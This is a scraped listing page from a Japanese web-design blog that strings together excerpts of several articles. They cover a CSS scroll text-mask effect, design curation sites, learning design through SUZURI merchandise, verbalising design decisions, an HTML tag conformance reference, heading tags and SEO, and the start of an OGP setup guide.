完成したコードはCodePenで公開しています。 See the Pen ScrollTextMask by masakazuimai (@masakazuimai) on CodePen. よくある質問（FAQ） Q. スクロールテキストマスクアニメーションとは？ テキストをマスク（切り抜き）として使い、スクロールに応じて背景画像やグラデーションがテキスト内に表示されるアニメーション技法です。background-clip: textとCSSのbackground-positionをスクロール量に連動させて変化させることで、テキストが風景を映し出すような印象的な演出が実現します。 Q. background-clip: textの使い方とブラウザ対応は？ background-clip: textを設定し、color: transparentでテキスト色を透明にすると、テキスト形状で背景が切り抜かれます。Chrome・Safari・Edgeでは-webkit-background-clip: textのベンダープレフィックスが必要です。Firefoxも対応していますが、一部の古いバージョンではプレフィックスが必要な場合があります。 ### [質の担保されたキュレーションサイトとは？UI・LPの参考探しに迷わない選び方ガイド](https://codequest.work/design-curation-sites/) 導入｜デザイン参考が“ノイズ化”していませんか？ 「PinterestやInstagramで“良いデザイン”を探しているのに、なんだかピンとくるものが少ない…」 そんな経験はありませんか？ 今や、誰もがデザインを発信できる時代。便利な一方で、「参考になるはずが、逆に迷子になる」ことも増えています。 そこで重要になるのが── “質の担保されたキュレーションサイト”を使うという視点です。 質の担保されたキュレーションサイトとは？ 以下のような特徴を持つサイトを指します。 チェックポイント内容① 審美眼を持つ運営者がいるデザイン専門家・編集者が選定している② 掲載基準が明確「投稿型」ではなく「選抜型」である③ ジャンル・カテゴリが整理されているLP・UI・ロゴなど分野別に見やすい④ 情報が最新かつトレンドを反映デザインの古さや非実用性がない⑤ 商用・現場で使える実例が多い架空作品ではなく“現場で実装されたもの”が中心 おすすめのキュレーションサイト 5選 1. LPアドバンス（https://site-advance.info/） ✅ 国内LPに特化したデザインギャラリー ✅ カテゴリ・色・業種別で検索しやすく、Web制作者にも◎ ✅ 架空作品ではなく、実際に公開されているLPを厳選 2. Mobbin（https://mobbin.com/） ✅ 実在するモバイルアプリのUIキャプチャ集 ✅ iOS/Android/Webに分類され、フィルターも充実 ✅ ログインUI／オンボーディング／CTAなど、要素ごとの探し方も可能 3. siteinspire（https://www.siteinspire.com/） ✅ 海外の洗練されたWebデザインを集めた老舗ギャラリー ✅ タグベースの絞り込みも柔軟で、参考構成を探すのに◎ ✅ カスタム感の強いブランドサイトの参考におすすめ 4. マネるデザイン研究所（https://maneru-design-lab.net/） ✅ 各サイトに「マネしたいポイント・応用場面・懸念点」が丁寧に解説されており、言語化学習の格好の素材となる ✅ 初学者でも直感的に役立ちそうな構成に絞られており、学びの効率を最大化 ✅ 運営者の審美眼によるキュレーションで、ノイズを減らし必要な情報に集中できる 5. parts.（https://parts.webdesignerwall.com/） ✅ UIパーツごと（ボタン・ナビ・フォームなど）に整理された国内UIギャラリー ✅ 実在サイトのスクショとリンクがセットで掲載されており、実用性の高いUI実装の参考に最適 ✅ シンプルで見やすく、UIを構造的に学びたい人にぴったり 避けたい“ノイズ型ギャラリー”とは？ 反対に、以下のようなサイトやアカウントは「情報が玉石混交」である可能性が高く、初心者には注意が必要です。 投稿者の技術レベルが不明（AI生成含む） 商用実装を前提としていない（見た目だけ） 情報が古い／アクセスできないURLが多い トレンドに対しての更新が止まっている まとめ｜“見る目”を養うには、良いものだけを見るべし 「良いデザインを作るには、良いデザインをたくさん見ること」──これは昔から言われている基本ですが、それを実現するには“どこで見るか”がとても大切です。 情報の質は、選ぶサイトで決まる。 あなたの「見る目」を育ててくれる、“信頼できる参考元”を選んでいきましょう。 よくある質問（FAQ） Q. デザインキュレーションサイトとは？ Webデザインの参考事例を厳選して収集・分類しているギャラリーサイトです。MUUUUUやS5-Styleなどの国内サイト、AwwwardsやDribbbleなどの海外サイトがあり、業種・スタイル・技術で絞り込んで参考デザインを探せます。 Q. デザインの参考探しで注意すべき点は？ 受賞歴のあるサイトや高品質なギャラリーに掲載されているデザインを参考にしてください。無作為にGoogle検索で見つけたサイトは品質にばらつきがあります。また、参考にする際はデザインの「構造・配色・余白」を分析的に観察することが重要です。 ### [SUZURIで出品しながらデザインを学ぶ！実践型トレーニング法5選](https://codequest.work/suzuri-design-learning/) はじめに｜SUZURIは“学習ツール”としても使える 「デザインを学ぶ」と聞くと、FigmaやPhotoshopで練習するイメージが強いかもしれません。でも実は、SUZURI（スズリ）などの出品プラットフォームを活用することで、実戦力がグンと伸びるのをご存じですか？ Tシャツやマグカップなどに自分のデザインを載せて出品 SNSで反応を見る 実際に売れた or 売れなかった要因を考察 こうしたプロセスを通じて、「見る力」「作る力」「伝える力」が鍛えられていきます。本記事では、SUZURIを学習の場として活用する方法や実践ステップをご紹介します。 なぜSUZURIが“学び”になるのか？4つの理由 ✅ 1. 人に見せることで、客観的に見えるようになる → 実際に「商品として見られる」環境に置くことで、「このデザイン、他人からどう見える？」という視点が育ちます。 ✅ 2. ミニマルで伝わるデザインを意識できる → Tシャツやグッズは限られた面積に意味を込める必要があり、余白や視認性、配色の訓練になります。 ✅ 3. “見せ方”も学べる（サムネ・説明文・価格） → 出品ページ自体がポートフォリオの練習にもなります。誰に届けるかを考える癖がつきます。 ✅ 4. SNSでの反応がリアルタイムで得られる →「どのデザインがウケた？」「シェアされた？」など、反応をデザイン改善のフィードバックとして活用できます。 SUZURIで学ぶ！実践トレーニングステップ5選 1. テーマを決めて“5案”作る 例：「猫」「漢字ロゴ」「日常の一言」「昭和レトロ」「英単語」など→ テーマを縛ることで、配色・フォント・構図の幅を自然に広げられる 2. 出品して公開する（無料でOK） → SUZURIなら初期費用ゼロ、在庫不要で学習リスクもありません。→ プレビュー機能で自分のデザインが「商品になったときどう見えるか」も確認できます。 3. SNSで反応を見る（投票や感想を集める） → XやInstagramで「どのデザインが好きですか？」と投稿し、反応を収集。→ 売上ではなく“感触”を学ぶ姿勢が大切です。 4. 反応の良かったデザインをリデザインして再出品 → 「文字を太くしてみる」「色を変える」「図形構成を変える」など、1デザインから改良案を展開します。 5. ポートフォリオ化する → 自分のSUZURIページを「実績ページ」としてまとめる→「このデザインはいいねが多く、このデザインは反応がなかった」など考察コメントを添えると学びが深まります SNSでの反応を“学び”に変えるには？ SUZURIで得たデザインは、SNS投稿に非常に向いています。以下のような投稿例が特に学習と相性が良いです。 投稿例1：比較投票 🐱 デザイン投票①ゆるめネコ②黒縁ネコ③ドット絵ネコどれが一番Tシャツにしたくなりますか？ 投稿例2：改善版提示 前回のTシャツデザインにフィードバックをもらって、色と構図を変えてみました！Before → Afterでどちらが良さそうか教えてもらえると嬉しいです✨ ポートフォリオにも活かせる！ SUZURIで作った作品は、単に「商品」としてだけでなく、自分の成長の証拠＝ドキュメントとしてポートフォリオに活かせます。 掲載例： プロジェクト名：「SUZURI作品シリーズ」 制作背景：「伝わるデザインをテーマに5作品を制作。SNSの反応をもとにリデザインした」 使用スキル：Illustrator / Figma / タイポグラフィ設計 など リンク：SUZURI出品ページ or SNS投稿リンク おわりに｜アウトプットこそ、最強の学び どんなに本を読んでも、動画を見ても、手を動かして作る経験にはかないません。 SUZURIで出品してみることで、あなたのデザインは「自己満足」から「誰かに届く表現」へと一歩進化するはずです。 ❝反応を見ることは、学びを加速させる最高のフィードバック。❞ まずは1枚、Tシャツを作ってみませんか？ よくある質問（FAQ） Q. SUZURIとは何ですか？ SUZURIはGMOペパボが運営するオリジナルグッズ作成・販売プラットフォームです。Tシャツ・マグカップ・スマホケースなどに自分のデザインを印刷して販売でき、在庫リスクなしで始められます。 Q. SUZURIでデザインスキルを上げる方法は？ 実際に商品を出品し、売上やSNSの反応をフィードバックとして活用します。バナーデザインの練習として季節イベントのグッズを作る、配色やタイポグラフィの実験台として使うなど、実践的なトレーニングの場として活用できます。 ### [デザインを言語化する練習帳｜“なぜ良いのか”を説明できる力を鍛えよう](https://codequest.work/design-verbalization-practice/) “あえて”で済ませていませんか？ 「このデザイン、ちょっとごちゃついてませんか？」「いや、あえてこうしてるんです」 ──Webデザインの学習初期にありがちなのが、「“あえて”を理由に根拠のないデザインを正当化してしまう」現象です。 確かに、“意図的に外すデザイン”は存在します。ですが、それは基本やセオリーを理解したうえでの“応用”としてのあえてです。基本がわからないままの“あえて”は、ただの偶然であり、再現も改善もできません。このような状況から脱するために必要なのが── 「デザインを言語化する力」です。 デザインの言語化とは、UI・配色・余白などの判断根拠を論理的な言葉で説明するスキルのことです。「なんとなく良い」を「Z型の視線誘導に沿ってCTAを右下に配置している」のように、選択の理由を他者へ伝えられる状態を指します。 言語化で得られる4つのメリット UIデザイナー兼著者のTom Greever氏も著書『Articulating Design Decisions』（O'Reilly Media, 2020）で「優れたデザインも、説明できなければ採用されない」と指摘しています。言語化のメリットを4つに整理しました。 1. デザインに再現性が生まれる 自分の中で「なぜこの余白にしたのか」「なぜこのフォントを選んだのか」を言葉にすることで、次のプロジェクトでも同じ判断軸を再利用できます。感覚に頼らない分、品質のブレが減ります。 2. プロとしての信頼を得られる 「なんとなく良さそう」で終わらず、「整列されていて安心感がある」と伝えれば、クライアントやチームから論理的に判断できるデザイナーとして信頼されます。 3. 具体的な改善提案ができる 「ごちゃついている」ではなく、「情報の階層が曖昧で視線が迷いやすい」と言えると、改善の打ち手が明確になります。ロジカルシンキングとラテラルシンキングの使い分けにも繋がる重要なスキルです。 4. ポートフォリオが強くなる ポートフォリオで「意図」を語れることは、未経験〜中堅デザイナーが評価される最大の差別化ポイントです。採用担当者は「何を作ったか」よりも「なぜそう作ったか」を見ています。 言語化のための6つの観点 言語化には観察軸が必要です。以下の観点から1つずつチェックしていくと、自然に語彙が増えていきます。 観点チェックポイント例全体印象清潔感がある／重厚感がある／信頼感がある配色コントラストが効いている／温度感がある／意味がある色使いかレイアウトグリッドに沿って整列されているか／視線誘導は自然かフォントジャンプ率（サイズ差）／可読性／字間・行間余白間の取り方が均等か／読みやすいか／窮屈さがないかCTA目立つか／押したくなるか／位置やサイズは適切か なかでも「配色」は、色名や由来を知っていると説明の解像度が上がります。「青だから」ではなく「信頼感を出すため、彩度を抑えた紺（こん）を基調にした」のように語れると説得力が増します。色の意味や由来を引きたいときは 色の辞書ツール が便利です。 📝 記入例フォーム 気になるWebサイトを開いて、以下の項目に1〜2文ずつ書き出してみましょう。1サイト10分が目安です。 - 第一印象： - 配色： - フォント： - レイアウト： - 余白の取り方： - CTAの位置とデザイン： 実践！言語化トレーニング3題 実際のUIを題材に、観察→言語化を3問通して練習します。先にあなた自身の答えをノートに書き出してから、模範解答例を開いて見比べてください。 お題①Webサイト（PC）の良い点 お題：このデザインの良い点を3つ言語化してください。 ✅ 模範解答例 1. 左右2カラム構成による視線整理 画面を左：情報、右：ビジュアルで明快に分割しており、視線の迷いがない。 テキストが多い記事紹介において、画像とタイトルがバッティングしない設計になっている。 2. “余白”を活かしたモダンな構成 タイトルや著者情報の周囲に十分な余白があるため、文字が息苦しくなく読みやすい。 日本語ならではの「間」の文化と親和性があり、テーマである「モダン」のイメージとも合致している。 3. 補色を活かした視覚的インパクト 右側のポートレートは鮮烈な赤背景と黒衣装で、強い印象を与える。 背景グリーンの大胆な使用は、ポートレートの赤との補色関係で視認性が高く、洗練された印象を作り出している。 お題②カードレイアウトの視線誘導 お題：視線誘導と情報構造に注目して言語化してください。 ✅ 模範解答例 1. 色によるリズム設計 各カードが明快な背景色（ピンク・イエローグリーン・オレンジ）で統一され、視線の流れが水平方向に導かれる。 トーンの明るさが整っているため、ビビッドでもチカチカせず心地よいリズムを感じさせる。 2. 情報構造の反復で読みやすさを担保 上から「画像 → 日付 → タイトル → 著者」という同じ構成の繰り返しにより、見る側が迷わず情報を把握できる。 カード内の情報量も絞られており、1枚1枚の読み取り負荷が低い。 3. 写真と背景の補色設計 被写体の色味や明暗に合わせて、背景が反対色や補色的に設計されており、写真が目立ちやすく調整されている。 特に中央カードは斜めに画像が配置されており、リズム感とアクセントを演出している。 お題③スマホUIの工夫 お題：スマホUIとしての工夫点を言語化してください。 ✅ 模範解答例 1. 1列レイアウトでスクロール最適化 コンテンツが1列で構成されており、スマホでの縦スクロール体験に自然に対応している。 情報の流れが「見出し → 画像 → タイトル → 著者」の順で下に続く構造になっており、視線誘導がスムーズ。 2. Menuボタンの操作性 ヘッダー右上に配置された「Menu」ボタンは、親指で押しやすい位置とサイズに設計されている。 画面下部に「Scroll →」という視線誘導のヒントがあり、操作を迷わせない工夫がされている。 3. 奥行きとリズム感のあるカード設計 カード要素に高低差（z-index）のある設計をすることで、単調になりがちなモバイルレイアウトに視覚的な動きが生まれている。 サムネイル画像に日付ラベルが重なり、さらにその下にピンクの背景で本文が展開される構造により、奥行きとリズム感が生まれている。 “あえて”を卒業して“意図”を語ろう 「なんとなく良さそう」なデザインは、誰にでも作れます。でも、「なぜそれが良いのか」を言葉にできる人は、再現性・伝達力・改善力が圧倒的に高いです。 “あえて”を卒業し、“意図”を言葉で伝えられるデザイナーへ。 この練習帳が、あなたの思考と言語の武器になることを願っています。まずは今日1サイト、観察→6項目記入をやってみましょう。 言語化できた意図は、AIに渡す形にしておくと再利用できます。色や余白を選んだ理由をファイルに書いてコーディングエージェントに読ませる方法はDESIGN.mdでAIにデザイン基準を渡す方法にまとめました。 関連記事：ロジカルシンキングとラテラルシンキング よくある質問（FAQ） Q. デザインの言語化とは何ですか？ デザインの良さや意図を論理的に説明するスキルです。「なんとなく良い」ではなく、「視線誘導のためにコントラストを強調している」「Z型の視線移動に合わせてCTAを配置している」のように、デザイン判断の根拠を言葉で表現することです。 Q. デザインの言語化はなぜ重要ですか？ クライアントやチームに意図を正確に伝えるために不可欠だからです。論理的に説明できると修正指示の精度が上がり、自分のデザイン判断の再現性も高まります。「感覚」に頼るデザインはブレやすいですが、言語化できると一貫した品質を保てます。 言語化する対象を集めるところから始めたい場合は、Webデザインの参考サイトの探し方が前段になります。良し悪しを言葉にする前に、まず何がどう並んでいるかを取り出す手順です。 Q. デザインの言語化を鍛える練習方法は？ 毎日1つWebサイトを選び、レイアウト・配色・タイポグラフィ・余白の4つの観点から「なぜこのデザインなのか」を200文字以上で書き出す練習が効果的です。本記事の「6つの観点」テンプレと「3題のトレーニング」を組み合わせると、見る目と語る力の両方が鍛えられます。 ### [HTMLタグ一覧【カテゴリ別・使用例付きリファレンス】](https://codequest.work/html-tags-list/) HTMLタグ（HTML要素）とは、文書のその部分が何であるかをブラウザ・支援技術・検索エンジンに伝えるための印です。見た目を決めるものではありません。 この記事は「どのタグがあるか」を並べた索引ではなく、いま自分が書いた要素の選択がHTML Living Standardに適合しているか、非適合の要素を踏んでいないかを、この記事の中だけで判定できるリファレンスとして作っています。全13分類・114要素の表に「使いどころ（○使う／×避ける）」の列を置き、末尾には仕様が「作者は使ってはならない」と明記した非適合要素29個の一覧と代替を載せました。 規範（何が適合で何が非適合か）はWHATWG HTML Living Standardを正とし、日本語の解説とブラウザ実装状況（Baseline）はMDN Web Docs の HTML 要素リファレンスを併用しています。本記事の仕様の記述は、2026年7月20日更新版のHTML Living Standardを直接参照して確認したものです。 最後に、書いたタグが実際に効いているかをブラウザだけで判定する手順を用意しました。表を読むだけで終わらせず、自分のページで1回動かしてみてください。 この一覧の使い方｜「廃止」ではなく「適合／非適合」で見る タグ一覧を読むときにいちばん事故が起きるのは、「このタグはHTML5で廃止された」という説明を鵜呑みにすることです。まずこの前提から整理します。 「HTML5で廃止」という言い方をこの記事が使わない理由 HTMLには「HTML5」で止まったバージョン番号がありません。現在のHTMLはWHATWGが継続的に更新するLiving Standard（生きた標準）で、版番号ではなく更新日で管理されています。そのため「HTML5で廃止された」という表現は、指している対象も時点も曖昧になります。 仕様が実際に書いているのは「廃止」ではなく、非適合（non-conforming）です。HTML Living Standard §16.2 は該当する要素を列挙したうえで、「完全に旧式であり、作者は使用してはならない（entirely obsolete, and must not be used by authors）」と規定しています。対象は29個です。 そして重要なのは、「作者は使ってはならない」と「ブラウザから消える」は別の話だということです。同じ仕様の§16.3は、ブラウザ側に対して marquee の動作や frameset のインターフェイスを実装するよう求めていますし、§15（描画）には center や big の既定スタイルが今も書かれています。互換性のために動き続けるだけで、書いてよい根拠にはなりません。 この記事では、この2つを混ぜないために「廃止」という語を使わず、「非適合（作者は使用禁止）」と「ブラウザ実装は残る」を分けて表記します。 規範はWHATWG、実装状況はMDNで確認する HTMLの情報源は複数あり、書いてあることが食い違って見えることがあります。役割が違うだけなので、次のように使い分けると迷いません。 情報源何の答えが載っているかこの記事での扱いWHATWG HTML Living Standardその書き方が適合か非適合か。要素の意味、コンテンツモデル、非適合要素の一覧規範（正）として採用MDN Web Docs日本語の解説、属性の使い方、Baseline（どのブラウザでいつから使えるか）解説と実装状況の情報源W3C ARIA in HTML各要素の暗黙のARIAロール（アクセシビリティツリーへの出方）後半の検証手順の根拠 「仕様では適合だが、まだ全ブラウザには届いていない」という要素もあります。適合かどうかはWHATWG、いま実戦投入してよいかはMDNのBaseline、と二段で確認するのが安全です。 文書の骨格をつくるタグ ページの外枠と、ページを意味のある区画に分けるためのタグです。ここを間違えると、後半の検証で扱うランドマーク（支援技術がページを移動するための目印）が1つも生成されません。 文書構造・メタデータ HTML文書の基本構造と、ブラウザや検索エンジンへ情報を渡すタグです。 タグ意味・用途使用例使いどころ（○使う／×避ける）<!DOCTYPE html>HTML文書であることの宣言（要素ではなく文書型宣言）<!DOCTYPE html>○ 全ページの1行目に必ず置く／× 省略するとブラウザが互換モードになり、CSSの解釈が変わる<html>文書のルート要素<html lang="ja">…</html>○ lang を必ず付ける／× lang の省略は読み上げ言語の誤判定を招く<head>メタ情報・CSS・JSの読み込み領域<head><meta charset="UTF-8"></head>○ 画面に出ない情報だけを置く／× 表示コンテンツを入れない<body>表示コンテンツの領域<body>…</body>○ 1文書に1つ／× 2つ書いてもパーサが1つに統合するだけで意図どおりにならない<title>文書のタイトル（タブ・検索結果に表示）<title>ページタイトル</title>○ ページごとに固有の文言／× 見出しの代用にしない（仕様上 title は見出しではない）<meta>文字コード・viewport・descriptionなどの情報<meta name="viewport" content="width=device-width, initial-scale=1">○ charsetは head の先頭付近／× keywords は検索順位に使われない<link>外部リソースの関連付け（CSS・canonical・favicon）<link rel="stylesheet" href="style.css">○ rel で関係を明示／× charset・rev 属性は非適合<script>JavaScriptの読み込み・実行<script src="app.js" defer></script>○ defer / type="module"／× language 属性は非適合<style>文書内に直接書くCSS<style>body { margin: 0; }</style>○ 初期表示に必要な最小限のCSS／× 全CSSを毎ページ埋め込むとキャッシュが効かない<noscript>JavaScript無効時の代替コンテンツ<noscript>お問い合わせはメールで受け付けています</noscript>○ 代替の手段を実際に示す／× 「JavaScriptを有効にしてください」だけで終わらせない<base>相対URLの基準URLを指定<base href="https://example.com/">○ 1文書に1つまで／× 既存の相対リンク全部に影響するため、途中導入は避ける セクション・ページ構造 ページを意味のある区画に分けるタグです。この分類のタグは、正しく置かれるとアクセシビリティツリーにランドマークとして現れます。div で代用すると現れません。後半の検証はここを見ます。 タグ意味・用途使用例使いどころ（○使う／×避ける）<header>導入部（ロゴ・サイト名・ナビゲーション等）<header><nav>…</nav></header>○ ページ最上位に置くと banner ランドマークになる／× article・aside・main・nav・section の内側に入れると banner にならない<footer>そのセクションの末尾情報（著作権・連絡先等）<footer>&copy; 2026 Example</footer>○ ページ最上位に置くと contentinfo ランドマークになる／× header と同じ入れ子の制約がある<main>そのページの主要コンテンツ<main>…</main>○ 1ページに1つ（表示中のものが1つ）／× 全ページ共通のヘッダー・フッターを含めない<nav>主要なナビゲーションリンクの集まり<nav aria-label="グローバル"><ul>…</ul></nav>○ 複数置くなら aria-label で呼び分ける／× ページ内のリンクを片っ端から囲まない<section>見出しを持つ、意味のあるまとまり<section><h2>概要</h2><p>…</p></section>○ 見出しとセットで使う／× 見出しの無い section はランドマークにならず、div と変わらない<article>それ単体で完結・再配信できるコンテンツ<article><h2>ブログ記事</h2>…</article>○ 記事・投稿・コメント・商品カード／× 単なるレイアウトの箱にしない<aside>本文と関連はあるが、切り離せる補足<aside><h2>関連記事</h2>…</aside>○ サイドバー・注釈・広告枠／× 本文の続きを入れない<address>最も近い article または body 祖先の連絡先情報<address>連絡先: <a href="mailto:info@example.com">info@example.com</a></address>○ そのセクションの書き手への連絡手段／× 任意の住所（郵便の宛先など）には使わない。仕様は「一般の住所には p が適切」と明記<search>検索・絞り込みのための領域<search><form action="/search"><input type="search" name="q"><button>検索</button></form></search>○ 暗黙のロールが search なので role="search" の付与が不要になる／× 検索結果そのものを囲むのは用途外<hgroup>見出しとサブタイトルのグループ化<hgroup><h1>タイトル</h1><p>サブタイトル</p></hgroup>○ 見出し1つ＋補足の p／× 見出しを2つ並べる用途ではない <search> は比較的新しい要素ですが、MDNのBaselineは2023年10月から Widely available（広く利用可能）です。これまで <form role="search"> と書いていた箇所は、<search> で囲むだけで同じランドマークが得られます。 <address> の限定条件は見落とされがちです。仕様は「address 要素は任意の住所（例えば郵便の住所）を表すために使ってはならない。 ### [h1〜h6見出しタグの正しい使い方｜SEOとHTML仕様の実際](https://codequest.work/html-heading-tags-seo/) 見出しタグ（h1〜h6）は、文書の階層構造をブラウザや支援技術に伝えるためのHTML要素であり、検索順位を上げるためのタグではありません。Googleは公式ドキュメントの中で「見出しの数や順序」を、重視しなくてよいこととして名指しで挙げています。 それでも、見出しを適当に組んでよいわけではありません。理由が「SEO」ではないだけで、正しく組むべき根拠は別に3本あります。HTML仕様として適合するかどうか、スクリーンリーダー利用者がページを移動する手段そのものであること、そしてGoogleがタイトルリンクの生成に見出しを使うことの3つです。この3つは、いずれも一次ソースで確認できます。 この記事では、見出しタグの使い方を「順位に効くかどうか」ではなく「仕様として妥当か・読める構造になっているか」という軸で組み直します。記事の後半には、自分のページの見出し構造が妥当かどうかをブラウザだけで確かめる手順と合否ラインを用意しました。 なお本記事は、以前「見出しの階層やh1の数はSEOのために守るもの」と書いていた内容を、Google公式ドキュメントの記述と突き合わせて全面的に書き直したものです。撤回した記述と、その理由も本文中に明記しています。引用したGoogle公式の文言は、すべて2026年8月1日に公式ページを直接開いて原文を確認しました。 結論｜見出しタグは検索順位のためのタグではない 「h1は1ページに1つ」「階層を飛ばしてはいけない」「見出しにキーワードを入れる」——このあたりは、SEOの入門記事でほぼ必ず見かけるルールです。結論から言うと、この3つはやったほうがよい実務ルールですが、その理由をSEOに求めると根拠が見つかりません。 Googleは「見出しの数や順序」を重視しなくてよいことに分類している Google検索セントラルの「SEOスターターガイド」には、Things we believe you shouldn't focus on（重視しなくてよいと考えていること）という節があります。ここに並んでいるのは、メタキーワード、キーワードの乱用、ドメイン名の中のキーワード、コンテンツの最小・最大文字数、サブドメインかサブディレクトリか、PageRank、重複コンテンツの「ペナルティ」——そして「見出しの数や順序（Number and order of headings）」です。 つまりGoogleは、見出しの数と順序を「よくある誤解」の側に置いています。同じ節の末尾には「E-E-A-Tをランキング要因と考える」という項目もあり、そこには「いいえ、そのようなことはありません」とだけ書かれています。 出典：Google 検索セントラル｜SEO Starter Guide（英語版・Things we believe you shouldn't focus on）（2026年8月1日確認） それでも見出しを正しく組む理由は3本ある 順位に効かないなら守らなくてよい、とはなりません。理由を差し替えると、同じルールがすべて一次ソースつきで正当化できます。 実務ルールよく語られる理由（根拠なし）実際の根拠階層を飛ばさないGoogleがクロールしやすくなるHTML仕様が「2段以上の飛び降り」を非適合と定めている／W3C WAIが「混乱を招くので避けるべき」としているh1は原則1つh1が複数だと評価が分散するGoogleはタイトルリンクの生成に見出しを使うため、主見出しが1つに定まっている方が意図どおりに出やすい／MDNもベストプラクティスとして推奨見出しに内容を表す語を入れる検索キーワードとマッチして順位が上がるWCAG 2.4.6が「見出しとラベルはトピックまたは目的を表す」ことを求めている（レベルAA）装飾目的で見出しタグを使わないSEOに悪影響があるWCAG 1.3.1「見た目で伝えている構造をプログラムで判別可能にする」に反する（レベルA） ルールの中身はほとんど変わりません。変わるのは「なぜやるのか」と「どこまでやれば十分か」の判断基準です。SEOを根拠にしていると「もっと最適化できるのでは」という終わりのない調整に入りますが、仕様適合とアクセシビリティを根拠にすると合否が判定できるようになります。 この記事が撤回した記述について 本記事の旧版には、「Googleのジョン・ミューラー氏も『1つのh1が理想的』と発言しています」という一文がありました。この発言の一次ソースを確認できなかったため、記述を撤回します。Google公式ドキュメントに書かれているのは前述のとおり「魔法の見出し数や理想的な見出し数といったものは存在しない」であり、旧版の記述は公式の説明と逆の方向を向いていました。 あわせて、旧版で「SEOのため」と説明していた階層ルール・キーワード挿入の根拠も、本記事ではすべて仕様とアクセシビリティ基準に置き換えています。 Google公式ドキュメントが実際に書いていること ここは伝聞ではなく原文で確認したほうが早い部分です。該当箇所は短いので、全文を引用します。 「見出しの数や順序」の原文 Having your headings in semantic order is fantastic for screen readers, but from Google Search perspective, it doesn't matter if you're using them out of order. The web in general is not valid HTML, so Google Search can rarely depend on semantic meanings hidden in the HTML specification. There's also no magical, ideal amount of headings a given page should have. However, if you think it's too much, then it probably is. Google 検索セントラル「SEO Starter Guide」Number and order of headings（英語版） 要点は2つです。「見出しを意味的な順序にすることはスクリーンリーダーにとって素晴らしいが、Google検索の観点では順序どおりでなくても問題ない」。そして「ページごとの魔法の見出し数・理想的な見出し数は存在しない。ただし多すぎると感じるなら、おそらく多すぎる」。 注目すべきは1文目です。Google自身が「意味的な順序はスクリーンリーダーにとって素晴らしい」と認めたうえで、「ただし検索の観点では関係ない」と切り分けています。階層を守る理由はアクセシビリティ側にある、という整理はGoogle公式の記述と一致します。 日本語版ガイドの訳がずれている箇所に注意 同じ節の日本語版を読むと、2文目がこうなっています。 また、ページごとに魔法の見出し数や理想的な見出し数といったものが存在することもありません。ただ、リンクの数が多すぎると感じる場合、実際にそうである可能性が高いと言えます。 Google 検索セントラル「SEO スターター ガイド」見出しの数や順序（日本語版） 英語版の該当文は However, if you think it's too much, then it probably is. で、主語は前文から続く見出しの数です。日本語版はここを「リンクの数」と訳しています。見出しについての節なので、日本語版だけを読むと「なぜ急にリンクの話が出てくるのか」と混乱します。 2026年8月1日時点で両言語版を並べて確認した結果です。Google公式ドキュメントを引用するときは、日本語版で意味を取ったあと英語版で裏を取る——この一手間は、ほかの節でも効きます。日本語版のURLは英語版の末尾に ?hl=ja を付けるだけなので、行き来のコストはほとんどありません。 出典：Google 検索セントラル｜SEO スターター ガイド（日本語版・見出しの数や順序）（2026年8月1日確認） 見出しへのキーワード詰め込みはスパムポリシー違反 「見出しにキーワードを入れると順位が上がる」という説明も、公式には裏付けがありません。むしろ同じ「重視しなくてよいこと」の節にはキーワードの乱用が並んでおり、「同じ言葉を何度も繰り返すことは（多少変化を持たせても）ユーザーをうんざりさせてしまうほか、キーワードの乱用はGoogleのスパムに関するポリシーに違反することにもなります」と書かれています。 見出しは本文より目立つ位置にあるぶん、詰め込みが露骨に見えます。「順位のために入れる」という発想でいる限り、この線を踏み越えるリスクは消えません。入れる理由を「読者がその見出しだけを読んでセクションの中身を判断できるようにするため」に置き換えれば、詰め込みは自動的に起きなくなります。 出典：引用文は SEO スターター ガイド（日本語版・キーワードの乱用）、ポリシー本体は Google ウェブ検索のスパムに関するポリシー（いずれも2026年8月1日確認） Googleが見出しを実際に使う場面｜タイトルリンクの生成 見出しがまったく無関係かというと、そうではありません。検索結果に表示されるタイトルリンクの生成元として、Googleは見出し要素を明示的に挙げています。公式ドキュメントが列挙しているソースは次のとおりです。 <title> 要素内のテキスト ページに表示されるメインの視覚的タイトル（大見出し） <h1> 要素などの見出し要素 og:title メタタグ内のテキスト スタイル処理によって大きく目立つように作られたその他のテキスト 同じページには、明確なメインタイトルが無い場合に何が起きるかも書かれています。「Google 検索では、大きくて目立つ見出しが複数あることを検出すると、最初の見出しをタイトルリンクのテキストとして使用することがあります」。おすすめの方法の節にも「複数の見出しのフォントサイズや目立ち具合が同じだと、Google のシステムに混乱が生じる可能性があります」とあり、対策として「タイトルのテキストをページで最初に目立つ <h1> 要素に配置する」ことが例示されています。 これは順位の話ではなく表示の話です。h1を1つに絞る実務的な利点は「評価が集中するから」ではなく、「意図しない文字列がタイトルリンクに採用される事故を減らせるから」だと理解するのが正確です。タイトルリンクの表示制御は、meta descriptionの書き方ガイドで扱っているスニペット側の話とセットで考えると整理しやすくなります。 出典：Google 検索セントラル｜タイトルリンクに影響を与える（2026年8月1日確認） 理由①｜HTML仕様として妥当かどうか 階層を飛ばしてはいけない最大の理由は、シンプルにHTML仕様が禁じているからです。ここは「推奨」ではなく、仕様書の適合要件（must）として書かれています。 h1〜h6は「見出しレベル」であって文字サイズの指定ではない HTML Standard（WHATWG）は、h1〜h6について「これらの要素は、名前に含まれる数値で与えられる見出しレベルを持つ。見出しレベルは入れ子になったセクションのレベルに対応する。h1はトップレベルのセクション用、h2はサブセクション用、h3はサブサブセクション用、というように続く」と定義しています。 つまりh1〜h6が表しているのは「入れ子の深さ」であって、文字の大きさでも太さでもありません。ブラウザの既定スタイルでたまたま数字が大きいほど小さく表示されるだけです。この前提を外すと、以降のルールはすべて意味が通らなくなります。 ### [OGPとTwitterカードの設定方法｜コピペOKテンプレート付き【初心者向け】](https://codequest.work/ogp-twitter-card-basic/) はじめに｜SNSでシェアしたときの「見た目」整ってますか？ 「ブログ記事をSNSでシェアしたのに、サムネイルが出ない」「タイトルや説明文が変…」こんな経験、ありませんか？ それ、OGPやTwitterカードの設定不足が原因かもしれません。 本記事では、Webサイト制作を始めたばかりの方向けに、OGP（Open Graph Protocol）とTwitterカードの基本的な設定方法を丁寧に解説します。コピペできるサンプルコード付きです。 OGPとは？｜SNSに正しく情報を渡す仕組み OGPとは Open Graph Protocol の略で、FacebookやX（旧Twitter）、LINEなどのSNSでリンクをシェアしたときに「どう表示するか」を決めるための仕組みです。Facebookが2010年に策定し、現在ではほぼすべてのSNSが対応しています。 たとえば、次のような情報がSNS上で表示されます： タイトル（og:title） 説明文（og:description） サムネイル画像（og:image） ページのURL（og:url） サイト名（og:site_name） 